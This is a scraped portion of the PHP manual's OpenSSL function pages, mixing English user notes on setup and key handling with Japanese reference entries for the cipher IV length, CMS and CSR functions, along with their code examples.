jts 27-Nov-2007 02:07
Win32 users having trouble getting php_openssl to work should make sure that they replace ALL the versions of libeay32.dll and ssleay32.dll, with the ones included with PHP.  This is especially true while using Apache2 and OpenSSL together, as some OpenSSL win32 packages include older versions of these two files.
daevid at daevid dot com 19-Nov-2007 06:04
There doesn't seem to be a function here to test if a cert is valid (i.e. not corrupt)... This bash snippet should help. Sorry it's not PHP. slap it in a system(); call or make it a bash script and call it that way or something...

if [ "`openssl x509 -in /etc/certs/my.crt -noout -modulus`" = "`openssl rsa -in /etc/keys/my.key -noout -modulus`" ]; then echo "Match"; else echo "Different"; fi
kurian at net4ideas dot com 29-Oct-2007 08:01
For working of openssl in windows platform IIS webserver, we need to enable in php.ini, tne copy libeay32.dll and ssleay32.dll to the php folder (or windows's system32 folder) and add both dll's path to the window's PATH variable. It seems to be working for me after I did these changes.
mattalexx at gmail dot com 29-Aug-2007 02:16
Use this for simple public/private key encryption.

<?php

/**
 * Point to your config file
 *
 */
define("OPEN_SSL_CONF_PATH", "/usr/share/ssl/openssl.cnf");
/**
 * Length of time certificate is valid (in days)
 *
 */
define("OPEN_SSL_CERT_DAYS_VALID", 365);
/**
 * Passphrase required with private key
 *
 */
define("OPEN_SSL_PASSPHRASE", "lkdfjbjeyrasdfvkajwdeblsolkdkdjfbvzslalsmdbfvksb");
/**
 * Enter description here...
 *
 */
define("OPEN_SSL_PUBKEY_PATH", "/docs/domains/mywebsite.com/docs/key.pem"); // Public key path

/**
 * A wrapper class for a simple subset of the PHP OpenSSL functions. Use for public key encryption jobs.
 *
 * <code>
 *
 * // To configure
 * // 1. Set OPEN_SSL_CONF_PATH to the path of your openssl.cnf file.
 * // 2. Set OPEN_SSL_PASSPHRASE to any passphrase.
 * // 3. Use the OpenSSL::do_csr method to generate your private and public keys (see next section).
 * // 4. Save the private key somewhere offline and save your public key somewhere on this machine.
 * // 5. Set OPEN_SSL_PUBKEY_PATH to the public key's path.
 *
 * // To generate keys
 * $ossl = new OpenSSL;
 * $ossl->do_csr();
 * $privatekey = $ossl->privatekey;
 * $publickey = $ossl->publickey;
 * unset($ossl);
 *
 * // Encrypt
 * $text = "Secret text";
 * $ossl = new OpenSSL;
 * $ossl->encrypt($text);
 * $encrypted_text = $ossl->crypttext;
 * $ekey = $ossl->ekey;
 * unset($ossl);
 *
 * // Decrypt
 * $ossl = new OpenSSL;
 * $decrypted_text = $ossl->decrypt($encrypted_text, $privatekey, $ekey);
 * unset($ossl);
 *
 * @author Matt Alexander (mattalexx@gmail.com) [based on code by Alex Poole (php@wwwcrm.com)]
 * @copyright 2007
 *
 */
class OpenSSL {

   public $privatekey;
   public $publickey;
   public $csr;
   public $crypttext;
   public $ekey;

   public function encrypt($plain) {

      // Turn public key into resource
      $publickey = openssl_get_publickey(is_file(OPEN_SSL_PUBKEY_PATH)? file_get_contents(OPEN_SSL_PUBKEY_PATH) : OPEN_SSL_PUBKEY_PATH);

      // Encrypt
      openssl_seal($plain, $crypttext, $ekey, array($publickey));
      openssl_free_key($publickey);

      // Set values
      $this->crypttext = $crypttext;
      $this->ekey = $ekey[0];
   }

   public function decrypt($crypt, $privatekey, $ekey="") {

      // Turn private key into resource
      $privatekey = openssl_get_privatekey((is_file($privatekey)? file_get_contents($privatekey) : $privatekey), OPEN_SSL_PASSPHRASE);

      // Decrypt
      openssl_open($crypt, $plaintext, $ekey, $privatekey);
      openssl_free_key($privatekey);

      // Return value
      return $plaintext;
   }

   public function do_csr(
   $countryName = "UK",
   $stateOrProvinceName = "London",
   $localityName = "Blah",
   $organizationName = "Blah1",
   $organizationalUnitName = "Blah2",
   $commonName = "Joe Bloggs",
   $emailAddress = "openssl@domain.com"
   ) {
      $dn = array(
         "countryName" => $countryName,
         "stateOrProvinceName" => $stateOrProvinceName,
         "localityName" => $localityName,
         "organizationName" => $organizationName,
         "organizationalUnitName" => $organizationalUnitName,
         "commonName" => $commonName,
         "emailAddress" => $emailAddress
         );
      $config = array(
         "config" => OPEN_SSL_CONF_PATH
         );
      $privkey = openssl_pkey_new();
      $csr = openssl_csr_new($dn, $privkey, $config);
      $sscert = openssl_csr_sign($csr, null, $privkey, OPEN_SSL_CERT_DAYS_VALID, $config);
      openssl_x509_export($sscert, $this->publickey);
      openssl_pkey_export($privkey, $this->privatekey, OPEN_SSL_PASSPHRASE, $config);
      openssl_csr_export($csr, $this->csr);
   }

}

?>
ChronoFish 16-Aug-2007 11:17
There is a note below regarding the need to copy BOTH ssleay32.dll AND libeay32.dll to a folder in the system PATH on Win32 systems.

That is absolutely true.  It should be noted also that Windows will search the Windows system directories before it will search the PATH.  If you have existing .dlls in these directories - rename (rather than deleting in case you need to undo your changes) them and copy over the latest version of these files.

Key locations may include the /i386, /windows/system32, and ~/apache/.../modules directories.

I also updated my ~/subversion/bin directory.

-CF
igor dot gorshkov at gmail dot com 27-Apr-2007 05:31
I generate certificates in such a way.

$config = array("config" => "d:/sslcert/openssl.cnf");
$dn = array(
   "countryName" => "RU",
   "stateOrProvinceName" => "Russia",
   "localityName" => "Saint-Petersburg",
   "organizationName" => "temp",
   "organizationalUnitName" => "temp",
   "commonName" => "temp",
   "emailAddress" => "temp@temp.com"
);
$privkey_enc = openssl_pkey_new($config);
$csr = openssl_csr_new($dn, $privkey_enc, $config);
$sscert = openssl_csr_sign($csr, null, $privkey_enc, 365);
openssl_x509_export_to_file($sscert, "d:/cert_enc.crt");
openssl_pkey_export_to_file($privkey_enc, "d:/privkey_enc.pem");

As a result all the received certificates have identical serial number (00). But it should not be! How to avoid it?
dan -AT- NOSPAM danschafer DOT netTT 28-Mar-2007 10:58
Currently, all OpenSSL Functions defined in PHP only utilize the PEM format.  Use the following code to convert from DER to PEM and PEM to DER.

<?php
$pem_data = file_get_contents($cert_path.$pem_file);
$pem2der = pem2der($pem_data);

$der_data = file_get_contents($cert_path.$der_file);
$der2pem = der2pem($der_data);

function pem2der($pem_data) {
   $begin = "CERTIFICATE-----";
   $end   = "-----END";
   $pem_data = substr($pem_data, strpos($pem_data, $begin)+strlen($begin));
   $pem_data = substr($pem_data, 0, strpos($pem_data, $end));
   $der = base64_decode($pem_data);
   return $der;
}

function der2pem($der_data) {
   $pem = chunk_split(base64_encode($der_data), 64, "\n");
   $pem = "-----BEGIN CERTIFICATE-----\n".$pem."-----END CERTIFICATE-----\n";
   return $pem;
}
?>
Richard Ablewhite 04-Dec-2006 02:23
Windows users be warned that you need the following file in system32:

msvcr71.dll

It has to go in system32, is not picked up from php/dlls
yabba dabba 26-Jul-2006 11:23
The php4 distribution for Windows/IIS has a README-SSL.txt which strongly implies that just the path needs to be added to the OPENSLL_CONF variable in the server's environment variables. Be sure to add the file name and extension too.

E.g.: c:\php-4.3.11\openssl\openssl.cnf
peter dot mescalchin @ geemail dot com 16-May-2006 01:34
For w32 users to enable OpenSSL support. As well as copying "libeay32.dll" to the windows system32 folder you also need to copy "ssleay32.dll".  The documentation above should probably be updated to note this.

This requirement was documented at the libcurl pages:

http://curl.haxx.se/libcurl/php/install.html#windows
php ~at~ wwwcrm dot komm 16-Nov-2005 08:47
If you want to use PHP for public / private key encryption jobs without needing to know the ins and outs of the Open SSL extension, the following may be of interest:

http://www.karenandalex.com/php_stuff/_class_OpenSSL.phps

This class was unavailable for a long while (server problems) but is now back up. Apologies to those who clicked through and got a 404

I hope it is useful to you...

Alex
beckman at purplecow dot com 08-Nov-2005 12:07
FreeBSD Ports tree php5-openssl uses openssl-0.9.8a.  This is a problem, as if you install these two ports and attempt to open an HTTPS URL within PHP, it will fail with this error from openssl_error_string(): error:140A90A1:SSL routines:func(169):reason(161) which is SSL_R_LIBRARY_HAS_NO_CIPHERS or "library has no ciphers"

This is because the openssl library now requires you to load your ciphers manually -- all ciphers are not automatically loaded for you.

I don't believe the php5-openssl module has been updated to do this before opening an SSL connection (as of 5.0.5).

Using openssl-0.9.7i seems to work; symlinking libcrypto.so.3 to libcrypto.so.4 prevents the php5-openssl port from trying to install openssl-0.9.8a.  So install openssl-stable (0.9.7i) from ports first, symlink 2nd, then install php5-openssl 3rd, and you should be OK.
matt at NOSPAMopenflowsPLEASE dot org 08-Nov-2005 10:42
The openssl functions were disabled in Debian release 3.0 (woody), but as of release 3.1 (sarge) they're available again.
greensweater 31-Aug-2005 04:21
Sorry, the code in my previous note doesn't work... the last line should read:

$csr = openssl_csr_new(array('commonName'=>'MyCSR'),$pkey,$config);
greensweater 30-Aug-2005 09:54
"You need to have a valid openssl.cnf installed for this function to operate correctly" includes most openssl functions. You can force php to find your openssl.cnf file as follows:

$config = array('config'=>'/path/to/openssl.cnf');
$pkey = openssl_pkey_new($config);
$csr = openssl_csr_new('MyCSR',$pkey,$config);
skippy zuavra net 20-Oct-2004 05:38
In case you're wondering what's a "correctly hashed" directory for the use with cainfo: it's simply a directory which contains CA public certificates in PEM/X.509 format. You can get such certificates either from the CA's website (they advertise it in visible places) or from your browser. In Explorer for instance you can click on the little yellow padlock, go to the CA entry and export it.

The only trick with the directory is that file names must be in the form "hash.#". The "hash" part is the 8-digit hex hash of the certificate, while the # part is a number which serves to differentiate certificates which give the same hash (yes, it can happen with certificates coming from the same CA). Usually # is 0, but you also can use 1, 2 and so on when having more certs with the same hash.

In order to obtain the hash of a certificate you can use the openssl command line utility like this:

openssl x509 -hash -in certfile.cer | head -1
jaz at ensn dot net 16-Sep-2004 11:18
For newbies (as me):
If you want to try at home on win32, you can learn how to install apache+ssl on this url: http://tud.at/programm/apache-ssl-win32-howto.php3

Versions on English, Spanish and French.

Just I have read and install and run perfectly.
norman at rasmussen dot org 02-Feb-2004 10:43
Debian maintainers have disabled the openssl support because it seems to help break apache on startup.  (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193343 and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=165699)

- Norman


暗号 iv の長さを取得

  • ≪ OpenSSL 関数
  • openssl_cms_decrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • 暗号 iv の長さを取得

openssl_cipher_iv_length

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

openssl_cipher_iv_length — 暗号 iv の長さを取得

説明

openssl_cipher_iv_length ( string $cipher_algo ) : int|false

暗号初期化ベクトル (iv) の長さを取得。

パラメータ

cipher_algo

暗号化方式。指定できる値は openssl_get_cipher_methods() を参照ください。

返り値

成功した場合は暗号の長さ、失敗した場合には false を返します。

エラー / 例外

暗号アルゴリズムが未知の場合、 E_WARNING レベルのエラーを発生します。

例

例1 openssl_cipher_iv_length() の例

<?php
$method = 'AES-128-CBC';
$ivlen = openssl_cipher_iv_length($method);

echo $ivlen;
?>

上の例の出力は、 たとえば以下のようになります。

16

User Contributed Notes

Vee W. 07-Apr-2018 04:30
<?php
$ciphers = openssl_get_cipher_methods();

//ECB mode should be avoided
$ciphers = array_filter($ciphers, function ($n) {
    return stripos($n, "ecb") === FALSE;
});

// At least as early as Aug 2016, Openssl declared the following weak: RC2, RC4, DES, 3DES, MD5 based
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "des") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "rc2") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "rc4") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "md5") === FALSE;
});

if (is_array($ciphers)) {
    foreach ($ciphers as $cipher) {
        echo $cipher.': ';
        echo openssl_cipher_iv_length($cipher);
        echo "<br>\n";
    }
}
?>

Will be...
AES-xxx-xxx is 16
BF-xxx is 8
CAMELLIA-xxx is 16
CAST5-xxx is 8
IDEA-xxx is 8
SEED-xxx is 16

lower case:
aes-xxx-xxx are mixed between 16 and 12.
id-aes-xxx are mixed between 12 and 8.
The values above are tested with PHP 5.5 - 5.6 on Windows. In PHP 7.x is different than this.
Tim Hunt 10-Dec-2014 05:37
The return value is a length in bytes. (Not bits, or anything else.)


CMS メッセージを復号化する

  • ≪ openssl_cipher_iv_length
  • openssl_cms_encrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • CMS メッセージを復号化する

openssl_cms_decrypt

(PHP 8)

openssl_cms_decrypt — CMS メッセージを復号化する

説明

openssl_cms_decrypt ( string $input_filename , string $output_filename , OpenSSLCertificate|string $certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string|null $private_key = null , int $encoding = OPENSSL_ENCODING_SMIME ) : bool

CMS メッセージを復号化します。

パラメータ

input_filename

暗号化された内容を含むファイル名。

output_filename

復号化した内容を書き込むファイル名。

certificate

メッセージの受け手の証明書のファイル名。

private_key

PKCS#8 形式の鍵を含むファイル名。

encoding

入力ファイルのエンコーディング。 OPENSSL_CMS_SMIME, OPENSLL_CMS_DER, OPENSSL_CMS_PEM のいずれかです。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Sebastian 28-Feb-2021 09:25
It took me a while to find out the correct way how to decrypt and verify data with these functions.
I needed that to communicate with German Health Insurance Providers as part of a DiGA. Maybe someone finds that useful.

<?php
function decryptAndVerify($signedAndEncryptedRawData): string
{
    $tempDir = __DIR__ . '/tmp';
    $originalFile = tempnam($tempDir, 'original');
    $decryptedFile = tempnam($tempDir, 'decrypted');
    $verifiedFile = tempnam($tempDir, 'verified');

    file_put_contents($originalFile, $signedAndEncryptedRawData);

    // One file with all possible certificates one after the other
    // -----BEGIN CERTIFICATE----- ...-----END CERTIFICATE-----
    $allPossibleSenderCertificates = __DIR__ . '/untrusted.pem';

    // Certificate:
    //    Data:
    //        Version: 3 (0x2)...
    $myCertificate = file_get_contents(__DIR__ . '/my.crt');
    $myPrivateKey = openssl_pkey_get_private(
    // -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
        file_get_contents(__DIR__ . '/my.prv.key.pem')
    );

    openssl_cms_decrypt(
        input_filename: $originalFile,
        output_filename: $decryptedFile,
        certificate: $myCertificate,
        private_key: $myPrivateKey,
        encoding: OPENSSL_ENCODING_DER
    );

    openssl_cms_verify(
        input_filename: $decryptedFile,
        flags: OPENSSL_CMS_BINARY | OPENSSL_CMS_NOSIGS | OPENSSL_CMS_NOVERIFY,
        ca_info: [],
        untrusted_certificates_filename: $allPossibleSenderCertificates,
        content: $verifiedFile,
        encoding: OPENSSL_ENCODING_DER
    );
    return file_get_contents($verifiedFile);
}


CMS メッセージを暗号化する

  • ≪ openssl_cms_decrypt
  • openssl_cms_read ≫
  • PHP Manual
  • OpenSSL 関数
  • CMS メッセージを暗号化する

openssl_cms_encrypt

(PHP 8)

openssl_cms_encrypt — CMS メッセージを暗号化する

説明

openssl_cms_encrypt ( string $input_filename , string $output_filename , OpenSSLCertificate|array|string $certificate , array|null $headers , int $flags = 0 , int $encoding = OPENSSL_ENCODING_SMIME , int $cipher_algo = OPENSSL_CIPHER_RC2_40 ) : bool

この関数は、一人以上のメッセージの受け手に向けて、 それぞれの受け手の証明書を使ってメッセージを暗号化します。

パラメータ

input_filename

暗号化するファイル。

output_filename

ファイルの出力先。

certificate

暗号化されたメッセージの受け手の証明書。

headers

S/MIME を使う時に含めるヘッダ。

flags

CMS_sign に渡すフラグ。

encoding

出力のエンコーディング。 OPENSSL_CMS_SMIME, OPENSLL_CMS_DER, OPENSSL_CMS_PEM のいずれかです。

cipher_algo

使用する暗号化アルゴリズム。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Sebastian 28-Feb-2021 09:13
It took me a while to find out the correct way how to sign and encrypt data with these functions.
I needed that to communicate with German Health Insurance Providers as part of a DiGA. Maybe someone finds that useful.

<?php
function signAndEncrypt(string $rawData): string
{
    $tempDir = __DIR__ . '/tmp';
    $tempfileOriginal = tempnam($tempDir, 'original');
    $tempfileSigned = tempnam($tempDir, 'signed');
    $tempfileEncrypted = tempnam($tempDir, 'signedEncrypted');

    file_put_contents($tempfileOriginal, $rawData);

    // pick the correct certificate for the recipient
    $recipientsCertificateFile = __DIR__ . '/recipientsCertificate.pem';
    // -----BEGIN CERTIFICATE----- ...-----END CERTIFICATE-----
    $recipientsCertificate = file_get_contents($recipientsCertificateFile);

    // Certificate:
    //    Data:
    //        Version: 3 (0x2)...
    $myCertificate = file_get_contents(__DIR__ . '/my.crt');
    $myPrivateKey = openssl_pkey_get_private(
        // -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
        file_get_contents(__DIR__ . '/my.prv.key.pem')
    );

    openssl_cms_sign(
        input_filename: $tempfileOriginal,
        output_filename: $tempfileSigned,
        certificate: $myCertificate,
        private_key: $myPrivateKey,
        headers: [],
        encoding: OPENSSL_ENCODING_DER,
    );

    openssl_cms_encrypt(
        input_filename: $tempfileSigned,
        output_filename: $tempfileEncrypted,
        certificate: $recipientsCertificate,
        headers: [],
        flags: OPENSSL_CMS_BINARY | OPENSSL_CMS_NOSIGS | OPENSSL_CMS_NOVERIFY,
        encoding: OPENSSL_ENCODING_DER,
        cipher_algo: OPENSSL_CIPHER_AES_256_CBC
    );
    return file_get_contents($tempfileEncrypted);
}


CMS ファイルを、PEM証明書の配列にエクスポートする

  • ≪ openssl_cms_encrypt
  • openssl_cms_sign ≫
  • PHP Manual
  • OpenSSL 関数
  • CMS ファイルを、PEM証明書の配列にエクスポートする

openssl_cms_read

(PHP 8)

openssl_cms_read — CMS ファイルを、PEM証明書の配列にエクスポートする

説明

openssl_cms_read ( string $input_filename , array &$certificates ) : bool

openssl_pkcs7_read() と似た処理を行います。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

input_filename

certificates

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルに署名する

  • ≪ openssl_cms_read
  • openssl_cms_verify ≫
  • PHP Manual
  • OpenSSL 関数
  • ファイルに署名する

openssl_cms_sign

(PHP 8)

openssl_cms_sign — ファイルに署名する

説明

openssl_cms_sign ( string $input_filename , string $output_filename , OpenSSLCertificate|string $certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , array|null $headers , int $flags = 0 , int $encoding = OPENSSL_ENCODING_SMIME , string|null $untrusted_certificates_filename = null ) : bool

この関数は、X.509 証明書 と秘密鍵を使ってファイルに署名します。

パラメータ

input_filename

署名するファイル名。

output_filename

処理結果を出力するファイル名。

certificate

署名に使う証明書を含むファイル名。

private_key

certificate に関連付けられた秘密鍵を含むファイル名。

headers

S/MIME 形式の出力に含められるヘッダの配列。

flags

cms_sign() に渡すフラグ。

encoding

出力ファイルのエンコーディング。 OPENSSL_CMS_SMIME, OPENSLL_CMS_DER, OPENSSL_CMS_PEM のいずれかです。

untrusted_certificates_filename

署名に含まれる中間証明書。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


CMS の署名を検証する

  • ≪ openssl_cms_sign
  • openssl_csr_export_to_file ≫
  • PHP Manual
  • OpenSSL 関数
  • CMS の署名を検証する

openssl_cms_verify

(PHP 8)

openssl_cms_verify — CMS の署名を検証する

説明

openssl_cms_verify ( string $input_filename , int $flags = 0 , string|null $certificates = null , array $ca_info = [] , string|null $untrusted_certificates_filename = null , string|null $content = null , string|null $pk7 = null , string|null $sigfile = null , int $encoding = OPENSSL_ENCODING_SMIME ) : bool

この関数は、指定されたエンコーディングで CMS の署名を検証します。 署名には、Detached (外包)署名または Attached(内包)署名 のふたつがあります。

パラメータ

input_filename

入力ファイル。

flags

cms_verify() に渡すフラグ。

certificates

署名者の証明書のファイル。 オプションで、中間証明書も含めることができます。

ca_info

自己署名の認証局の証明書を含む配列。

untrusted_certificates_filename

追加の中間証明書を含むファイル名。

content

署名が外包である場合に、その内容を含むファイル。

pk7

sigfile

署名を保存するファイル名。

encoding

入力ファイルのエンコーディング。 OPENSSL_CMS_SMIME, OPENSLL_CMS_DER, OPENSSL_CMS_PEM のいずれかです。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


CSR をファイルにエクスポートする

  • ≪ openssl_cms_verify
  • openssl_csr_export ≫
  • PHP Manual
  • OpenSSL 関数
  • CSR をファイルにエクスポートする

openssl_csr_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_export_to_file — CSR をファイルにエクスポートする

説明

openssl_csr_export_to_file ( OpenSSLCertificateSigningRequest|string $csr , string $output_filename , bool $no_text = true ) : bool

openssl_csr_export_to_file() は、Certificate Signing Request csr を受け取り、 それを output_filename という名前のファイルに PEM フォーマットとして保存します。

パラメータ

csr

使用できる値の一覧は CSR パラメータ を参照ください。

output_filename

出力ファイルへのパス。

no_text

オプションのパラメータ notext を設定すると、出力内容の冗長性が変化します。false を指定すると、 人間が読むための追加情報が出力に含まれるようになります。 notext のデフォルト値は true です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | csr は、 OpenSSLCertificateSigningRequest クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_csr_export_to_file() の例

<?php
$subject = array(
    "commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha384') );
openssl_pkey_export_to_file($private_key, 'example-priv.key');
// Along with the subject, the CSR contains the public key corresponding to the private key
openssl_csr_export_to_file($csr, 'example-csr.pem');
?>

参考

  • openssl_csr_export() - CSR を文字列としてエクスポートする
  • openssl_csr_new() - CSR を作成する
  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

There are no user contributed notes for this page.


CSR を文字列としてエクスポートする

  • ≪ openssl_csr_export_to_file
  • openssl_csr_get_public_key ≫
  • PHP Manual
  • OpenSSL 関数
  • CSR を文字列としてエクスポートする

openssl_csr_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_export — CSR を文字列としてエクスポートする

説明

openssl_csr_export ( OpenSSLCertificateSigningRequest|string $csr , OpenSSLAsymmetricKey &$output , bool $no_text = true ) : bool

openssl_csr_export() は、Certificate Signing Request csr を受け取り、 それを output に PEMフォーマット として保存します。 このパラメータは参照で渡されます。

パラメータ

csr

使用できる値の一覧は CSR パラメータ を参照ください。

output

成功した場合、この文字列には PEMエンコードされた CSR が入っています。

no_text

オプションのパラメータ notext を設定すると、出力内容の冗長性が変化します。false を指定すると、 人間が読むための追加情報が出力に含まれるようになります。 notext のデフォルト値は true です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | csr は、 OpenSSLCertificateSigningRequest クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_csr_export() の例

<?php
$subject = array(
    "commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$configargs = array(
    'digest_alg' => 'sha256WithRSAEncryption'
);
$csr = openssl_csr_new($subject, $private_key, $configargs);
openssl_csr_export($csr, $csr_string);
echo $csr_string;
?>

参考

  • openssl_csr_export_to_file() - CSR をファイルにエクスポートする
  • openssl_csr_new() - CSR を作成する
  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

carlos AT wfmh DOT org DOT pl 26-Jun-2002 07:44
Here you come with the example of how to use this function.

if( $csr = openssl_csr_new( array(
     "countryName"=>"PL",
     "stateOrProvinceName" => "blah",
     "organizationName" => "company ltd",
     "commonName"=>"foo.bar.com",
     "Email"=>"blah@foo.bar.com"), $privkey )
                  )
   {
   openssl_csr_export_to_file( $csr, "out.csr");
   }
else
   {
   printf("failed\n");
   }

Keep in mind that keys are case sensitive (i.e. give "email" instead of "Email" and you get warning). Also remember it's important to keep the order of the arguments in array. Move the "Email" above commonName and check what you get (in case you don't know how: "openssl req -noout -text -in out.csr").

It also happened to me me I got segfault when order was rubbish (afair Email after countryName, or plenty Email's here and there), so be awared.


CSR の公開鍵を返す

  • ≪ openssl_csr_export
  • openssl_csr_get_subject ≫
  • PHP Manual
  • OpenSSL 関数
  • CSR の公開鍵を返す

openssl_csr_get_public_key

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_csr_get_public_key — CSR の公開鍵を返す

説明

openssl_csr_get_public_key ( OpenSSLCertificateSigningRequest|string $csr , bool $short_names = true ) : OpenSSLAsymmetricKey|false

openssl_csr_get_public_key() 関数は、 csr から公開鍵を展開し、他の関数で利用できるよう準備します。

パラメータ

csr

使用できる値の一覧は CSR パラメータ を参照ください。

short_names
警告

このパラメータは無視されます。

返り値

成功した場合、OpenSSLAsymmetricKey クラスのインスタンスを返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は OpenSSLAsymmetricKey クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースが返されていました。
8.0.0 | csr は、 OpenSSLCertificateSigningRequest クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_csr_get_public_key() の例

<?php
$subject = array(
    "commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha256') );
$public_key = openssl_csr_get_public_key($csr);
$info = openssl_pkey_get_details($public_key);
echo $info['key'];
?>

参考

  • openssl_csr_get_subject() - CSR の subject を返す
  • openssl_csr_new() - CSR を作成する
  • openssl_pkey_get_details() - キーの詳細の配列を返す
  • openssl_pkey_export_to_file() - エクスポート可能な形式で、キーをファイルに取得する
  • openssl_pkey_export() - エクスポート可能な形式で、キーを文字列に取得する

User Contributed Notes

php at siemenroorda dot nl 29-Sep-2009 07:44
Function openssl_pkey_get_details can read this resource. Try:

<?php
  print_r(openssl_pkey_get_details(openssl_csr_get_public_key($csr)));
?>


CSR の subject を返す

  • ≪ openssl_csr_get_public_key
  • openssl_csr_new ≫
  • PHP Manual
  • OpenSSL 関数
  • CSR の subject を返す

openssl_csr_get_subject

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_csr_get_subject — CSR の subject を返す

説明

openssl_csr_get_subject ( OpenSSLCertificateSigningRequest|string $csr , bool $short_names = true ) : array|false

openssl_csr_get_subject() 関数は、 csr にエンコードされた subject の識別名の情報を返します。 commonName (CN), organizationName (O), countryName (C) などが含まれます。

パラメータ

csr

使用できる値の一覧は CSR パラメータ を参照ください。

short_names

shortnames は、配列でデータがどのように インデックスされるかを制御します - shortnames が true の場合(デフォルト)、フィールドは短縮名を使ってインデックスされます。 false の場合、長い名前を使ってインデックされます - たとえば、 CN は commonName の短縮名です。

返り値

subject の説明を記した連想配列を返します。失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | csr は、 OpenSSLCertificateSigningRequest クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_csr_get_subject() の例

<?php
$subject = array(
    "countryName" => "CA",
    "stateOrProvinceName" => "Alberta",
    "localityName" => "Calgary",
    "organizationName" => "XYZ Widgets Inc",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com",
);
$private_key = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$configargs = array(
    'digest_alg' => 'sha512WithRSAEncryption'
);
$csr = openssl_csr_new($subject, $privkey, $configargs);
print_r(openssl_csr_get_subject($csr));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [C] => CA
    [ST] => Alberta
    [L] => Calgary
    [O] => XYZ Widgets Inc
    [OU] => PHP Documentation Team
    [CN] => Wez Furlong
    [emailAddress] => wez@example.com
)

参考

  • openssl_csr_new() - CSR を作成する
  • openssl_csr_get_public_key() - CSR の公開鍵を返す
  • openssl_x509_parse() - X509 証明書をパースし、配列として情報を返す

User Contributed Notes

Steve 27-May-2016 12:51
This function may not return name fields in the order they appear in the certificate.  For example, this CSR:

-----BEGIN CERTIFICATE REQUEST-----
MIHsMIGUAgEAMDIxEDAOBgNVBAsMB3VuaXQgIzExDDAKBgNVBAoMA29yZzEQMA4G
A1UECwwHdW5pdCAjMjBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABGvZnFxGuVzJ
hOKPs5RNxZBS4vY6ERaqm5tKMGOhxLSfv/dpjDtNNdSHkIGNjYxclHYhxG0ku7BY
PA5uPIjng1SgADAKBggqhkjOPQQDAgNHADBEAiB4GXhhbEU1UFTCe0dwJnKHTQuI
xzYL5FnyhmKdixN/0gIgBXSm9S8L/oJ6rBxemin/V/xKv5jy4TEZuz84nnshxQQ=
-----END CERTIFICATE REQUEST-----

When processed by 'openssl -noout -subject' gives this:

subject=/OU=unit #1/O=org/OU=unit #2

On the other hand, 'var_dump( openssl_csr_get_subject( "..." ) )' will produce this:

csr = array(2) {
  ["OU"]=>
  array(2) {
    [0]=>
    string(7) "unit #1"
    [1]=>
    string(7) "unit #2"
  }
  ["O"]=>
  string(3) "org"
}

As you can see, ordering information (which may be important for some applications) is lost.
pdm at wp dot pl 21-Aug-2015 10:11
openssl_csr_get_subject('somedomain.com',false);
return
array(7) {
  ["countryName"]=> string "XX"
  ["stateOrProvinceName"]=> string "xxxxxxxxx"
  ["localityName"]=> string "xxxxxxxx"
  ["organizationName"]=> string "xxxxxxxxx"
